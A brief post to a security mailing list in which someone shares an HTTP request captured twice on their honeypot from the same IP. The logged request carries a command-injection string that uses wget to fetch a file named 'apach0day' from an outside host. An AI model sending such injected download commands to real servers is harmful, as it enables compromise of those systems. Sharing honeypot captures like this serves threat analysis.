I've seen the same request on one of my honeypots and a second one a few hours later from the same IP:
GET/?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget proxypipe.com/apach0day; HTTP/1.0 User-agent: chroot-apach0day Referrer: /xA/x0a/x06 _______________________________________________ Pauldotcom mailing list Pauldotcom@mail.securityweekly.com http://mail.pauldotcom.com/cgi-bin/mailman/listinfo/pauldotcom Main Web Site: http://pauldotcom.com